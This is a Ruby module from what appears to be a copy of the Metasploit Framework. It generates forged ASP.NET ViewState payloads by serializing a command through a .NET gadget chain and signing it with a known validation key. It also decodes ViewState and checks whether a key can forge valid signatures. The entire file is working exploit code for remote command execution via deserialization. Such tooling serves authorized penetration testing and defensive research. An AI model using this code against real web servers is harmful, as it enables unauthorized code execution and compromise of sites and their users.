Files
metasploit-gs/lib/msf/core/exploit/viewstate.rb
T
2020-05-21 18:37:13 -05:00

112 lines
3.4 KiB
Ruby

# -*- coding: binary -*-
#
# This is a specific implementation of ASP.NET ViewState generation and decoding
#
# Microsoft resources:
# https://docs.microsoft.com/en-us/archive/msdn-magazine/2010/july/security-briefs-view-state-security
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/LOSFormatter.cs
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/ObjectStateFormatter.cs
# https://github.com/microsoft/referencesource/blob/master/System.Web/UI/Page.cs
#
# Mono resources:
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/LosFormatter.cs
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.UI/ObjectStateFormatter.cs
# https://github.com/mono/mono/blob/master/mcs/class/System.Web/System.Web.Util/MachineKeySectionUtils.cs
#
# Other resources:
# https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
# https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs
#
# Kudos to zeroSteiner for Msf::Util::DotNetDeserialization and the inspiration
#
module Msf
module Exploit::ViewState
def initialize(info = {})
super
register_advanced_options([
OptEnum.new(
'DotNetGadgetChain',
[
true,
'.NET gadget chain to use in ViewState',
:TextFormattingRunProperties,
Msf::Util::DotNetDeserialization::GadgetChains::NAMES
]
)
])
end
def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '')
serialized_payload = Msf::Util::DotNetDeserialization.generate(
cmd,
gadget_chain: datastore['DotNetGadgetChain'].to_sym,
formatter: :LosFormatter
)
generate_viewstate(serialized_payload, extra: extra, algo: algo, key: key)
end
def generate_viewstate(data, extra: '', algo: 'sha1', key: '')
# Generate ViewState HMAC from known values and validation key
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
# Append HMAC to provided data and Base64-encode the whole shebang
Rex::Text.encode_base64(data + hmac)
end
def generate_viewstate_hmac(data, algo: 'sha1', key: '')
OpenSSL::HMAC.digest(algo, key, data)
end
def decode_viewstate(encoded_viewstate, algo: 'sha1')
viewstate = Rex::Text.decode_base64(encoded_viewstate)
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
vprint_error('Could not decode ViewState')
return {data: nil, hmac: nil}
end
hmac_len = generate_viewstate_hmac('', algo: algo).length
if (data = viewstate[0...-hmac_len]).empty?
vprint_error('Could not parse ViewState data')
data = nil
end
unless (hmac = viewstate[-hmac_len..-1])
vprint_error('Could not parse ViewState HMAC')
end
{data: data, hmac: hmac}
end
def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
viewstate = decode_viewstate(encoded_viewstate)
unless viewstate[:data]
vprint_error('Could not retrieve ViewState data')
return false
end
unless (their_hmac = viewstate[:hmac])
vprint_error('Could not retrieve ViewState HMAC')
return false
end
our_hmac = generate_viewstate_hmac(
viewstate[:data] + extra,
algo: algo,
key: key
)
# Do we have what it takes?
our_hmac == their_hmac
end
end
end